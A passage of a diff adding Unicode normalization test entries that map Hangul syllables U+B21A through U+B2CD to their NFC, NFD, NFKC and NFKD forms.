+{ source: [0xB21A], NFC: [0xB21A], NFD: [0x1102, 0x116E, 0x11BD], NFKC: [0xB21A], NFKD: [0x1102, 0x116E, 0x11BD] },
+{ source: [0xB21B], NFC: [0xB21B], NFD: [0x1102, 0x116E, 0x11BE], NFKC: [0xB21B], NFKD: [0x1102, 0x116E, 0x11BE] },
+{ source: [0xB21C], NFC: [0xB21C], NFD: [0x1102, 0x116E, 0x11BF], NFKC: [0xB21C], NFKD: [0x1102, 0x116E, 0x11BF] },
+{ source: [0xB21D], NFC: [0xB21D], NFD: [0x1102, 0x116E, 0x11C0], NFKC: [0xB21D], NFKD: [0x1102, 0x116E, 0x11C0] },
+{ source: [0xB21E], NFC: [0xB21E], NFD: [0x1102, 0x116E, 0x11C1], NFKC: [0xB21E], NFKD: [0x1102, 0x116E, 0x11C1] },
+{ source: [0xB21F], NFC: [0xB21F], NFD: [0x1102, 0x116E, 0x11C2], NFKC: [0xB21F], NFKD: [0x1102, 0x116E, 0x11C2] },
+{ source: [0xB220], NFC: [0xB220], NFD: [0x1102, 0x116F], NFKC: [0xB220], NFKD: [0x1102, 0x116F] },
+{ source: [0xB221], NFC: [0xB221], NFD: [0x1102, 0x116F, 0x11A8], NFKC: [0xB221], NFKD: [0x1102, 0x116F, 0x11A8] },
+{ source: [0xB222], NFC: [0xB222], NFD: [0x1102, 0x116F, 0x11A9], NFKC: [0xB222], NFKD: [0x1102, 0x116F, 0x11A9] },
+{ source: [0xB223], NFC: [0xB223], NFD: [0x1102, 0x116F, 0x11AA], NFKC: [0xB223], NFKD: [0x1102, 0x116F, 0x11AA] },
+{ source: [0xB224], NFC: [0xB224], NFD: [0x1102, 0x116F, 0x11AB], NFKC: [0xB224], NFKD: [0x1102, 0x116F, 0x11AB] },
+{ source: [0xB225], NFC: [0xB225], NFD: [0x1102, 0x116F, 0x11AC], NFKC: [0xB225], NFKD: [0x1102, 0x116F, 0x11AC] },
+{ source: [0xB226], NFC: [0xB226], NFD: [0x1102, 0x116F, 0x11AD], NFKC: [0xB226], NFKD: [0x1102, 0x116F, 0x11AD] },
+{ source: [0xB227], NFC: [0xB227], NFD: [0x1102, 0x116F, 0x11AE], NFKC: [0xB227], NFKD: [0x1102, 0x116F, 0x11AE] },
+{ source: [0xB228], NFC: [0xB228], NFD: [0x1102, 0x116F, 0x11AF], NFKC: [0xB228], NFKD: [0x1102, 0x116F, 0x11AF] },
+{ source: [0xB229], NFC: [0xB229], NFD: [0x1102, 0x116F, 0x11B0], NFKC: [0xB229], NFKD: [0x1102, 0x116F, 0x11B0] },
+{ source: [0xB22A], NFC: [0xB22A], NFD: [0x1102, 0x116F, 0x11B1], NFKC: [0xB22A], NFKD: [0x1102, 0x116F, 0x11B1] },
+{ source: [0xB22B], NFC: [0xB22B], NFD: [0x1102, 0x116F, 0x11B2], NFKC: [0xB22B], NFKD: [0x1102, 0x116F, 0x11B2] },
+{ source: [0xB22C], NFC: [0xB22C], NFD: [0x1102, 0x116F, 0x11B3], NFKC: [0xB22C], NFKD: [0x1102, 0x116F, 0x11B3] },
+{ source: [0xB22D], NFC: [0xB22D], NFD: [0x1102, 0x116F, 0x11B4], NFKC: [0xB22D], NFKD: [0x1102, 0x116F, 0x11B4] },
+{ source: [0xB22E], NFC: [0xB22E], NFD: [0x1102, 0x116F, 0x11B5], NFKC: [0xB22E], NFKD: [0x1102, 0x116F, 0x11B5] },
+{ source: [0xB22F], NFC: [0xB22F], NFD: [0x1102, 0x116F, 0x11B6], NFKC: [0xB22F], NFKD: [0x1102, 0x116F, 0x11B6] },
+{ source: [0xB230], NFC: [0xB230], NFD: [0x1102, 0x116F, 0x11B7], NFKC: [0xB230], NFKD: [0x1102, 0x116F, 0x11B7] },
+{ source: [0xB231], NFC: [0xB231], NFD: [0x1102, 0x116F, 0x11B8], NFKC: [0xB231], NFKD: [0x1102, 0x116F, 0x11B8] },
+{ source: [0xB232], NFC: [0xB232], NFD: [0x1102, 0x116F, 0x11B9], NFKC: [0xB232], NFKD: [0x1102, 0x116F, 0x11B9] },
+{ source: [0xB233], NFC: [0xB233], NFD: [0x1102, 0x116F, 0x11BA], NFKC: [0xB233], NFKD: [0x1102, 0x116F, 0x11BA] },
+{ source: [0xB234], NFC: [0xB234], NFD: [0x1102, 0x116F, 0x11BB], NFKC: [0xB234], NFKD: [0x1102, 0x116F, 0x11BB] },
+{ source: [0xB235], NFC: [0xB235], NFD: [0x1102, 0x116F, 0x11BC], NFKC: [0xB235], NFKD: [0x1102, 0x116F, 0x11BC] },
+{ source: [0xB236], NFC: [0xB236], NFD: [0x1102, 0x116F, 0x11BD], NFKC: [0xB236], NFKD: [0x1102, 0x116F, 0x11BD] },
+{ source: [0xB237], NFC: [0xB237], NFD: [0x1102, 0x116F, 0x11BE], NFKC: [0xB237], NFKD: [0x1102, 0x116F, 0x11BE] },
+{ source: [0xB238], NFC: [0xB238], NFD: [0x1102, 0x116F, 0x11BF], NFKC: [0xB238], NFKD: [0x1102, 0x116F, 0x11BF] },
+{ source: [0xB239], NFC: [0xB239], NFD: [0x1102, 0x116F, 0x11C0], NFKC: [0xB239], NFKD: [0x1102, 0x116F, 0x11C0] },
+{ source: [0xB23A], NFC: [0xB23A], NFD: [0x1102, 0x116F, 0x11C1], NFKC: [0xB23A], NFKD: [0x1102, 0x116F, 0x11C1] },
+{ source: [0xB23B], NFC: [0xB23B], NFD: [0x1102, 0x116F, 0x11C2], NFKC: [0xB23B], NFKD: [0x1102, 0x116F, 0x11C2] },
+{ source: [0xB23C], NFC: [0xB23C], NFD: [0x1102, 0x1170], NFKC: [0xB23C], NFKD: [0x1102, 0x1170] },
+{ source: [0xB23D], NFC: [0xB23D], NFD: [0x1102, 0x1170, 0x11A8], NFKC: [0xB23D], NFKD: [0x1102, 0x1170, 0x11A8] },
+{ source: [0xB23E], NFC: [0xB23E], NFD: [0x1102, 0x1170, 0x11A9], NFKC: [0xB23E], NFKD: [0x1102, 0x1170, 0x11A9] },
+{ source: [0xB23F], NFC: [0xB23F], NFD: [0x1102, 0x1170, 0x11AA], NFKC: [0xB23F], NFKD: [0x1102, 0x1170, 0x11AA] },
+{ source: [0xB240], NFC: [0xB240], NFD: [0x1102, 0x1170, 0x11AB], NFKC: [0xB240], NFKD: [0x1102, 0x1170, 0x11AB] },
+{ source: [0xB241], NFC: [0xB241], NFD: [0x1102, 0x1170, 0x11AC], NFKC: [0xB241], NFKD: [0x1102, 0x1170, 0x11AC] },
+{ source: [0xB242], NFC: [0xB242], NFD: [0x1102, 0x1170, 0x11AD], NFKC: [0xB242], NFKD: [0x1102, 0x1170, 0x11AD] },
+{ source: [0xB243], NFC: [0xB243], NFD: [0x1102, 0x1170, 0x11AE], NFKC: [0xB243], NFKD: [0x1102, 0x1170, 0x11AE] },
+{ source: [0xB244], NFC: [0xB244], NFD: [0x1102, 0x1170, 0x11AF], NFKC: [0xB244], NFKD: [0x1102, 0x1170, 0x11AF] },
+{ source: [0xB245], NFC: [0xB245], NFD: [0x1102, 0x1170, 0x11B0], NFKC: [0xB245], NFKD: [0x1102, 0x1170, 0x11B0] },
+{ source: [0xB246], NFC: [0xB246], NFD: [0x1102, 0x1170, 0x11B1], NFKC: [0xB246], NFKD: [0x1102, 0x1170, 0x11B1] },
+{ source: [0xB247], NFC: [0xB247], NFD: [0x1102, 0x1170, 0x11B2], NFKC: [0xB247], NFKD: [0x1102, 0x1170, 0x11B2] },
+{ source: [0xB248], NFC: [0xB248], NFD: [0x1102, 0x1170, 0x11B3], NFKC: [0xB248], NFKD: [0x1102, 0x1170, 0x11B3] },
+{ source: [0xB249], NFC: [0xB249], NFD: [0x1102, 0x1170, 0x11B4], NFKC: [0xB249], NFKD: [0x1102, 0x1170, 0x11B4] },
+{ source: [0xB24A], NFC: [0xB24A], NFD: [0x1102, 0x1170, 0x11B5], NFKC: [0xB24A], NFKD: [0x1102, 0x1170, 0x11B5] },
+{ source: [0xB24B], NFC: [0xB24B], NFD: [0x1102, 0x1170, 0x11B6], NFKC: [0xB24B], NFKD: [0x1102, 0x1170, 0x11B6] },
+{ source: [0xB24C], NFC: [0xB24C], NFD: [0x1102, 0x1170, 0x11B7], NFKC: [0xB24C], NFKD: [0x1102, 0x1170, 0x11B7] },
+{ source: [0xB24D], NFC: [0xB24D], NFD: [0x1102, 0x1170, 0x11B8], NFKC: [0xB24D], NFKD: [0x1102, 0x1170, 0x11B8] },
+{ source: [0xB24E], NFC: [0xB24E], NFD: [0x1102, 0x1170, 0x11B9], NFKC: [0xB24E], NFKD: [0x1102, 0x1170, 0x11B9] },
+{ source: [0xB24F], NFC: [0xB24F], NFD: [0x1102, 0x1170, 0x11BA], NFKC: [0xB24F], NFKD: [0x1102, 0x1170, 0x11BA] },
+{ source: [0xB250], NFC: [0xB250], NFD: [0x1102, 0x1170, 0x11BB], NFKC: [0xB250], NFKD: [0x1102, 0x1170, 0x11BB] },
+{ source: [0xB251], NFC: [0xB251], NFD: [0x1102, 0x1170, 0x11BC], NFKC: [0xB251], NFKD: [0x1102, 0x1170, 0x11BC] },
+{ source: [0xB252], NFC: [0xB252], NFD: [0x1102, 0x1170, 0x11BD], NFKC: [0xB252], NFKD: [0x1102, 0x1170, 0x11BD] },
+{ source: [0xB253], NFC: [0xB253], NFD: [0x1102, 0x1170, 0x11BE], NFKC: [0xB253], NFKD: [0x1102, 0x1170, 0x11BE] },
+{ source: [0xB254], NFC: [0xB254], NFD: [0x1102, 0x1170, 0x11BF], NFKC: [0xB254], NFKD: [0x1102, 0x1170, 0x11BF] },
+{ source: [0xB255], NFC: [0xB255], NFD: [0x1102, 0x1170, 0x11C0], NFKC: [0xB255], NFKD: [0x1102, 0x1170, 0x11C0] },
+{ source: [0xB256], NFC: [0xB256], NFD: [0x1102, 0x1170, 0x11C1], NFKC: [0xB256], NFKD: [0x1102, 0x1170, 0x11C1] },
+{ source: [0xB257], NFC: [0xB257], NFD: [0x1102, 0x1170, 0x11C2], NFKC: [0xB257], NFKD: [0x1102, 0x1170, 0x11C2] },
+{ source: [0xB258], NFC: [0xB258], NFD: [0x1102, 0x1171], NFKC: [0xB258], NFKD: [0x1102, 0x1171] },
+{ source: [0xB259], NFC: [0xB259], NFD: [0x1102, 0x1171, 0x11A8], NFKC: [0xB259], NFKD: [0x1102, 0x1171, 0x11A8] },
+{ source: [0xB25A], NFC: [0xB25A], NFD: [0x1102, 0x1171, 0x11A9], NFKC: [0xB25A], NFKD: [0x1102, 0x1171, 0x11A9] },
+{ source: [0xB25B], NFC: [0xB25B], NFD: [0x1102, 0x1171, 0x11AA], NFKC: [0xB25B], NFKD: [0x1102, 0x1171, 0x11AA] },
+{ source: [0xB25C], NFC: [0xB25C], NFD: [0x1102, 0x1171, 0x11AB], NFKC: [0xB25C], NFKD: [0x1102, 0x1171, 0x11AB] },
+{ source: [0xB25D], NFC: [0xB25D], NFD: [0x1102, 0x1171, 0x11AC], NFKC: [0xB25D], NFKD: [0x1102, 0x1171, 0x11AC] },
+{ source: [0xB25E], NFC: [0xB25E], NFD: [0x1102, 0x1171, 0x11AD], NFKC: [0xB25E], NFKD: [0x1102, 0x1171, 0x11AD] },
+{ source: [0xB25F], NFC: [0xB25F], NFD: [0x1102, 0x1171, 0x11AE], NFKC: [0xB25F], NFKD: [0x1102, 0x1171, 0x11AE] },
+{ source: [0xB260], NFC: [0xB260], NFD: [0x1102, 0x1171, 0x11AF], NFKC: [0xB260], NFKD: [0x1102, 0x1171, 0x11AF] },
+{ source: [0xB261], NFC: [0xB261], NFD: [0x1102, 0x1171, 0x11B0], NFKC: [0xB261], NFKD: [0x1102, 0x1171, 0x11B0] },
+{ source: [0xB262], NFC: [0xB262], NFD: [0x1102, 0x1171, 0x11B1], NFKC: [0xB262], NFKD: [0x1102, 0x1171, 0x11B1] },
+{ source: [0xB263], NFC: [0xB263], NFD: [0x1102, 0x1171, 0x11B2], NFKC: [0xB263], NFKD: [0x1102, 0x1171, 0x11B2] },
+{ source: [0xB264], NFC: [0xB264], NFD: [0x1102, 0x1171, 0x11B3], NFKC: [0xB264], NFKD: [0x1102, 0x1171, 0x11B3] },
+{ source: [0xB265], NFC: [0xB265], NFD: [0x1102, 0x1171, 0x11B4], NFKC: [0xB265], NFKD: [0x1102, 0x1171, 0x11B4] },
+{ source: [0xB266], NFC: [0xB266], NFD: [0x1102, 0x1171, 0x11B5], NFKC: [0xB266], NFKD: [0x1102, 0x1171, 0x11B5] },
+{ source: [0xB267], NFC: [0xB267], NFD: [0x1102, 0x1171, 0x11B6], NFKC: [0xB267], NFKD: [0x1102, 0x1171, 0x11B6] },
+{ source: [0xB268], NFC: [0xB268], NFD: [0x1102, 0x1171, 0x11B7], NFKC: [0xB268], NFKD: [0x1102, 0x1171, 0x11B7] },
+{ source: [0xB269], NFC: [0xB269], NFD: [0x1102, 0x1171, 0x11B8], NFKC: [0xB269], NFKD: [0x1102, 0x1171, 0x11B8] },
+{ source: [0xB26A], NFC: [0xB26A], NFD: [0x1102, 0x1171, 0x11B9], NFKC: [0xB26A], NFKD: [0x1102, 0x1171, 0x11B9] },
+{ source: [0xB26B], NFC: [0xB26B], NFD: [0x1102, 0x1171, 0x11BA], NFKC: [0xB26B], NFKD: [0x1102, 0x1171, 0x11BA] },
+{ source: [0xB26C], NFC: [0xB26C], NFD: [0x1102, 0x1171, 0x11BB], NFKC: [0xB26C], NFKD: [0x1102, 0x1171, 0x11BB] },
+{ source: [0xB26D], NFC: [0xB26D], NFD: [0x1102, 0x1171, 0x11BC], NFKC: [0xB26D], NFKD: [0x1102, 0x1171, 0x11BC] },
+{ source: [0xB26E], NFC: [0xB26E], NFD: [0x1102, 0x1171, 0x11BD], NFKC: [0xB26E], NFKD: [0x1102, 0x1171, 0x11BD] },
+{ source: [0xB26F], NFC: [0xB26F], NFD: [0x1102, 0x1171, 0x11BE], NFKC: [0xB26F], NFKD: [0x1102, 0x1171, 0x11BE] },
+{ source: [0xB270], NFC: [0xB270], NFD: [0x1102, 0x1171, 0x11BF], NFKC: [0xB270], NFKD: [0x1102, 0x1171, 0x11BF] },
+{ source: [0xB271], NFC: [0xB271], NFD: [0x1102, 0x1171, 0x11C0], NFKC: [0xB271], NFKD: [0x1102, 0x1171, 0x11C0] },
+{ source: [0xB272], NFC: [0xB272], NFD: [0x1102, 0x1171, 0x11C1], NFKC: [0xB272], NFKD: [0x1102, 0x1171, 0x11C1] },
+{ source: [0xB273], NFC: [0xB273], NFD: [0x1102, 0x1171, 0x11C2], NFKC: [0xB273], NFKD: [0x1102, 0x1171, 0x11C2] },
+{ source: [0xB274], NFC: [0xB274], NFD: [0x1102, 0x1172], NFKC: [0xB274], NFKD: [0x1102, 0x1172] },
+{ source: [0xB275], NFC: [0xB275], NFD: [0x1102, 0x1172, 0x11A8], NFKC: [0xB275], NFKD: [0x1102, 0x1172, 0x11A8] },
+{ source: [0xB276], NFC: [0xB276], NFD: [0x1102, 0x1172, 0x11A9], NFKC: [0xB276], NFKD: [0x1102, 0x1172, 0x11A9] },
+{ source: [0xB277], NFC: [0xB277], NFD: [0x1102, 0x1172, 0x11AA], NFKC: [0xB277], NFKD: [0x1102, 0x1172, 0x11AA] },
+{ source: [0xB278], NFC: [0xB278], NFD: [0x1102, 0x1172, 0x11AB], NFKC: [0xB278], NFKD: [0x1102, 0x1172, 0x11AB] },
+{ source: [0xB279], NFC: [0xB279], NFD: [0x1102, 0x1172, 0x11AC], NFKC: [0xB279], NFKD: [0x1102, 0x1172, 0x11AC] },
+{ source: [0xB27A], NFC: [0xB27A], NFD: [0x1102, 0x1172, 0x11AD], NFKC: [0xB27A], NFKD: [0x1102, 0x1172, 0x11AD] },
+{ source: [0xB27B], NFC: [0xB27B], NFD: [0x1102, 0x1172, 0x11AE], NFKC: [0xB27B], NFKD: [0x1102, 0x1172, 0x11AE] },
+{ source: [0xB27C], NFC: [0xB27C], NFD: [0x1102, 0x1172, 0x11AF], NFKC: [0xB27C], NFKD: [0x1102, 0x1172, 0x11AF] },
+{ source: [0xB27D], NFC: [0xB27D], NFD: [0x1102, 0x1172, 0x11B0], NFKC: [0xB27D], NFKD: [0x1102, 0x1172, 0x11B0] },
+{ source: [0xB27E], NFC: [0xB27E], NFD: [0x1102, 0x1172, 0x11B1], NFKC: [0xB27E], NFKD: [0x1102, 0x1172, 0x11B1] },
+{ source: [0xB27F], NFC: [0xB27F], NFD: [0x1102, 0x1172, 0x11B2], NFKC: [0xB27F], NFKD: [0x1102, 0x1172, 0x11B2] },
+{ source: [0xB280], NFC: [0xB280], NFD: [0x1102, 0x1172, 0x11B3], NFKC: [0xB280], NFKD: [0x1102, 0x1172, 0x11B3] },
+{ source: [0xB281], NFC: [0xB281], NFD: [0x1102, 0x1172, 0x11B4], NFKC: [0xB281], NFKD: [0x1102, 0x1172, 0x11B4] },
+{ source: [0xB282], NFC: [0xB282], NFD: [0x1102, 0x1172, 0x11B5], NFKC: [0xB282], NFKD: [0x1102, 0x1172, 0x11B5] },
+{ source: [0xB283], NFC: [0xB283], NFD: [0x1102, 0x1172, 0x11B6], NFKC: [0xB283], NFKD: [0x1102, 0x1172, 0x11B6] },
+{ source: [0xB284], NFC: [0xB284], NFD: [0x1102, 0x1172, 0x11B7], NFKC: [0xB284], NFKD: [0x1102, 0x1172, 0x11B7] },
+{ source: [0xB285], NFC: [0xB285], NFD: [0x1102, 0x1172, 0x11B8], NFKC: [0xB285], NFKD: [0x1102, 0x1172, 0x11B8] },
+{ source: [0xB286], NFC: [0xB286], NFD: [0x1102, 0x1172, 0x11B9], NFKC: [0xB286], NFKD: [0x1102, 0x1172, 0x11B9] },
+{ source: [0xB287], NFC: [0xB287], NFD: [0x1102, 0x1172, 0x11BA], NFKC: [0xB287], NFKD: [0x1102, 0x1172, 0x11BA] },
+{ source: [0xB288], NFC: [0xB288], NFD: [0x1102, 0x1172, 0x11BB], NFKC: [0xB288], NFKD: [0x1102, 0x1172, 0x11BB] },
+{ source: [0xB289], NFC: [0xB289], NFD: [0x1102, 0x1172, 0x11BC], NFKC: [0xB289], NFKD: [0x1102, 0x1172, 0x11BC] },
+{ source: [0xB28A], NFC: [0xB28A], NFD: [0x1102, 0x1172, 0x11BD], NFKC: [0xB28A], NFKD: [0x1102, 0x1172, 0x11BD] },
+{ source: [0xB28B], NFC: [0xB28B], NFD: [0x1102, 0x1172, 0x11BE], NFKC: [0xB28B], NFKD: [0x1102, 0x1172, 0x11BE] },
+{ source: [0xB28C], NFC: [0xB28C], NFD: [0x1102, 0x1172, 0x11BF], NFKC: [0xB28C], NFKD: [0x1102, 0x1172, 0x11BF] },
+{ source: [0xB28D], NFC: [0xB28D], NFD: [0x1102, 0x1172, 0x11C0], NFKC: [0xB28D], NFKD: [0x1102, 0x1172, 0x11C0] },
+{ source: [0xB28E], NFC: [0xB28E], NFD: [0x1102, 0x1172, 0x11C1], NFKC: [0xB28E], NFKD: [0x1102, 0x1172, 0x11C1] },
+{ source: [0xB28F], NFC: [0xB28F], NFD: [0x1102, 0x1172, 0x11C2], NFKC: [0xB28F], NFKD: [0x1102, 0x1172, 0x11C2] },
+{ source: [0xB290], NFC: [0xB290], NFD: [0x1102, 0x1173], NFKC: [0xB290], NFKD: [0x1102, 0x1173] },
+{ source: [0xB291], NFC: [0xB291], NFD: [0x1102, 0x1173, 0x11A8], NFKC: [0xB291], NFKD: [0x1102, 0x1173, 0x11A8] },
+{ source: [0xB292], NFC: [0xB292], NFD: [0x1102, 0x1173, 0x11A9], NFKC: [0xB292], NFKD: [0x1102, 0x1173, 0x11A9] },
+{ source: [0xB293], NFC: [0xB293], NFD: [0x1102, 0x1173, 0x11AA], NFKC: [0xB293], NFKD: [0x1102, 0x1173, 0x11AA] },
+{ source: [0xB294], NFC: [0xB294], NFD: [0x1102, 0x1173, 0x11AB], NFKC: [0xB294], NFKD: [0x1102, 0x1173, 0x11AB] },
+{ source: [0xB295], NFC: [0xB295], NFD: [0x1102, 0x1173, 0x11AC], NFKC: [0xB295], NFKD: [0x1102, 0x1173, 0x11AC] },
+{ source: [0xB296], NFC: [0xB296], NFD: [0x1102, 0x1173, 0x11AD], NFKC: [0xB296], NFKD: [0x1102, 0x1173, 0x11AD] },
+{ source: [0xB297], NFC: [0xB297], NFD: [0x1102, 0x1173, 0x11AE], NFKC: [0xB297], NFKD: [0x1102, 0x1173, 0x11AE] },
+{ source: [0xB298], NFC: [0xB298], NFD: [0x1102, 0x1173, 0x11AF], NFKC: [0xB298], NFKD: [0x1102, 0x1173, 0x11AF] },
+{ source: [0xB299], NFC: [0xB299], NFD: [0x1102, 0x1173, 0x11B0], NFKC: [0xB299], NFKD: [0x1102, 0x1173, 0x11B0] },
+{ source: [0xB29A], NFC: [0xB29A], NFD: [0x1102, 0x1173, 0x11B1], NFKC: [0xB29A], NFKD: [0x1102, 0x1173, 0x11B1] },
+{ source: [0xB29B], NFC: [0xB29B], NFD: [0x1102, 0x1173, 0x11B2], NFKC: [0xB29B], NFKD: [0x1102, 0x1173, 0x11B2] },
+{ source: [0xB29C], NFC: [0xB29C], NFD: [0x1102, 0x1173, 0x11B3], NFKC: [0xB29C], NFKD: [0x1102, 0x1173, 0x11B3] },
+{ source: [0xB29D], NFC: [0xB29D], NFD: [0x1102, 0x1173, 0x11B4], NFKC: [0xB29D], NFKD: [0x1102, 0x1173, 0x11B4] },
+{ source: [0xB29E], NFC: [0xB29E], NFD: [0x1102, 0x1173, 0x11B5], NFKC: [0xB29E], NFKD: [0x1102, 0x1173, 0x11B5] },
+{ source: [0xB29F], NFC: [0xB29F], NFD: [0x1102, 0x1173, 0x11B6], NFKC: [0xB29F], NFKD: [0x1102, 0x1173, 0x11B6] },
+{ source: [0xB2A0], NFC: [0xB2A0], NFD: [0x1102, 0x1173, 0x11B7], NFKC: [0xB2A0], NFKD: [0x1102, 0x1173, 0x11B7] },
+{ source: [0xB2A1], NFC: [0xB2A1], NFD: [0x1102, 0x1173, 0x11B8], NFKC: [0xB2A1], NFKD: [0x1102, 0x1173, 0x11B8] },
+{ source: [0xB2A2], NFC: [0xB2A2], NFD: [0x1102, 0x1173, 0x11B9], NFKC: [0xB2A2], NFKD: [0x1102, 0x1173, 0x11B9] },
+{ source: [0xB2A3], NFC: [0xB2A3], NFD: [0x1102, 0x1173, 0x11BA], NFKC: [0xB2A3], NFKD: [0x1102, 0x1173, 0x11BA] },
+{ source: [0xB2A4], NFC: [0xB2A4], NFD: [0x1102, 0x1173, 0x11BB], NFKC: [0xB2A4], NFKD: [0x1102, 0x1173, 0x11BB] },
+{ source: [0xB2A5], NFC: [0xB2A5], NFD: [0x1102, 0x1173, 0x11BC], NFKC: [0xB2A5], NFKD: [0x1102, 0x1173, 0x11BC] },
+{ source: [0xB2A6], NFC: [0xB2A6], NFD: [0x1102, 0x1173, 0x11BD], NFKC: [0xB2A6], NFKD: [0x1102, 0x1173, 0x11BD] },
+{ source: [0xB2A7], NFC: [0xB2A7], NFD: [0x1102, 0x1173, 0x11BE], NFKC: [0xB2A7], NFKD: [0x1102, 0x1173, 0x11BE] },
+{ source: [0xB2A8], NFC: [0xB2A8], NFD: [0x1102, 0x1173, 0x11BF], NFKC: [0xB2A8], NFKD: [0x1102, 0x1173, 0x11BF] },
+{ source: [0xB2A9], NFC: [0xB2A9], NFD: [0x1102, 0x1173, 0x11C0], NFKC: [0xB2A9], NFKD: [0x1102, 0x1173, 0x11C0] },
+{ source: [0xB2AA], NFC: [0xB2AA], NFD: [0x1102, 0x1173, 0x11C1], NFKC: [0xB2AA], NFKD: [0x1102, 0x1173, 0x11C1] },
+{ source: [0xB2AB], NFC: [0xB2AB], NFD: [0x1102, 0x1173, 0x11C2], NFKC: [0xB2AB], NFKD: [0x1102, 0x1173, 0x11C2] },
+{ source: [0xB2AC], NFC: [0xB2AC], NFD: [0x1102, 0x1174], NFKC: [0xB2AC], NFKD: [0x1102, 0x1174] },
+{ source: [0xB2AD], NFC: [0xB2AD], NFD: [0x1102, 0x1174, 0x11A8], NFKC: [0xB2AD], NFKD: [0x1102, 0x1174, 0x11A8] },
+{ source: [0xB2AE], NFC: [0xB2AE], NFD: [0x1102, 0x1174, 0x11A9], NFKC: [0xB2AE], NFKD: [0x1102, 0x1174, 0x11A9] },
+{ source: [0xB2AF], NFC: [0xB2AF], NFD: [0x1102, 0x1174, 0x11AA], NFKC: [0xB2AF], NFKD: [0x1102, 0x1174, 0x11AA] },
+{ source: [0xB2B0], NFC: [0xB2B0], NFD: [0x1102, 0x1174, 0x11AB], NFKC: [0xB2B0], NFKD: [0x1102, 0x1174, 0x11AB] },
+{ source: [0xB2B1], NFC: [0xB2B1], NFD: [0x1102, 0x1174, 0x11AC], NFKC: [0xB2B1], NFKD: [0x1102, 0x1174, 0x11AC] },
+{ source: [0xB2B2], NFC: [0xB2B2], NFD: [0x1102, 0x1174, 0x11AD], NFKC: [0xB2B2], NFKD: [0x1102, 0x1174, 0x11AD] },
+{ source: [0xB2B3], NFC: [0xB2B3], NFD: [0x1102, 0x1174, 0x11AE], NFKC: [0xB2B3], NFKD: [0x1102, 0x1174, 0x11AE] },
+{ source: [0xB2B4], NFC: [0xB2B4], NFD: [0x1102, 0x1174, 0x11AF], NFKC: [0xB2B4], NFKD: [0x1102, 0x1174, 0x11AF] },
+{ source: [0xB2B5], NFC: [0xB2B5], NFD: [0x1102, 0x1174, 0x11B0], NFKC: [0xB2B5], NFKD: [0x1102, 0x1174, 0x11B0] },
+{ source: [0xB2B6], NFC: [0xB2B6], NFD: [0x1102, 0x1174, 0x11B1], NFKC: [0xB2B6], NFKD: [0x1102, 0x1174, 0x11B1] },
+{ source: [0xB2B7], NFC: [0xB2B7], NFD: [0x1102, 0x1174, 0x11B2], NFKC: [0xB2B7], NFKD: [0x1102, 0x1174, 0x11B2] },
+{ source: [0xB2B8], NFC: [0xB2B8], NFD: [0x1102, 0x1174, 0x11B3], NFKC: [0xB2B8], NFKD: [0x1102, 0x1174, 0x11B3] },
+{ source: [0xB2B9], NFC: [0xB2B9], NFD: [0x1102, 0x1174, 0x11B4], NFKC: [0xB2B9], NFKD: [0x1102, 0x1174, 0x11B4] },
+{ source: [0xB2BA], NFC: [0xB2BA], NFD: [0x1102, 0x1174, 0x11B5], NFKC: [0xB2BA], NFKD: [0x1102, 0x1174, 0x11B5] },
+{ source: [0xB2BB], NFC: [0xB2BB], NFD: [0x1102, 0x1174, 0x11B6], NFKC: [0xB2BB], NFKD: [0x1102, 0x1174, 0x11B6] },
+{ source: [0xB2BC], NFC: [0xB2BC], NFD: [0x1102, 0x1174, 0x11B7], NFKC: [0xB2BC], NFKD: [0x1102, 0x1174, 0x11B7] },
+{ source: [0xB2BD], NFC: [0xB2BD], NFD: [0x1102, 0x1174, 0x11B8], NFKC: [0xB2BD], NFKD: [0x1102, 0x1174, 0x11B8] },
+{ source: [0xB2BE], NFC: [0xB2BE], NFD: [0x1102, 0x1174, 0x11B9], NFKC: [0xB2BE], NFKD: [0x1102, 0x1174, 0x11B9] },
+{ source: [0xB2BF], NFC: [0xB2BF], NFD: [0x1102, 0x1174, 0x11BA], NFKC: [0xB2BF], NFKD: [0x1102, 0x1174, 0x11BA] },
+{ source: [0xB2C0], NFC: [0xB2C0], NFD: [0x1102, 0x1174, 0x11BB], NFKC: [0xB2C0], NFKD: [0x1102, 0x1174, 0x11BB] },
+{ source: [0xB2C1], NFC: [0xB2C1], NFD: [0x1102, 0x1174, 0x11BC], NFKC: [0xB2C1], NFKD: [0x1102, 0x1174, 0x11BC] },
+{ source: [0xB2C2], NFC: [0xB2C2], NFD: [0x1102, 0x1174, 0x11BD], NFKC: [0xB2C2], NFKD: [0x1102, 0x1174, 0x11BD] },
+{ source: [0xB2C3], NFC: [0xB2C3], NFD: [0x1102, 0x1174, 0x11BE], NFKC: [0xB2C3], NFKD: [0x1102, 0x1174, 0x11BE] },
+{ source: [0xB2C4], NFC: [0xB2C4], NFD: [0x1102, 0x1174, 0x11BF], NFKC: [0xB2C4], NFKD: [0x1102, 0x1174, 0x11BF] },
+{ source: [0xB2C5], NFC: [0xB2C5], NFD: [0x1102, 0x1174, 0x11C0], NFKC: [0xB2C5], NFKD: [0x1102, 0x1174, 0x11C0] },
+{ source: [0xB2C6], NFC: [0xB2C6], NFD: [0x1102, 0x1174, 0x11C1], NFKC: [0xB2C6], NFKD: [0x1102, 0x1174, 0x11C1] },
+{ source: [0xB2C7], NFC: [0xB2C7], NFD: [0x1102, 0x1174, 0x11C2], NFKC: [0xB2C7], NFKD: [0x1102, 0x1174, 0x11C2] },
+{ source: [0xB2C8], NFC: [0xB2C8], NFD: [0x1102, 0x1175], NFKC: [0xB2C8], NFKD: [0x1102, 0x1175] },
+{ source: [0xB2C9], NFC: [0xB2C9], NFD: [0x1102, 0x1175, 0x11A8], NFKC: [0xB2C9], NFKD: [0x1102, 0x1175, 0x11A8] },
+{ source: [0xB2CA], NFC: [0xB2CA], NFD: [0x1102, 0x1175, 0x11A9], NFKC: [0xB2CA], NFKD: [0x1102, 0x1175, 0x11A9] },
+{ source: [0xB2CB], NFC: [0xB2CB], NFD: [0x1102, 0x1175, 0x11AA], NFKC: [0xB2CB], NFKD: [0x1102, 0x1175, 0x11AA] },
+{ source: [0xB2CC], NFC: [0xB2CC], NFD: [0x1102, 0x1175, 0x11AB], NFKC: [0xB2CC], NFKD: [0x1102, 0x1175, 0x11AB] },
+{ source: [0xB2CD], NFC: [0xB2CD], NFD: [0x1102, 0x1175, 0x11AC], NFKC: [0xB2CD], NFKD: [0x1102, 0x1175, 0x11AC] },
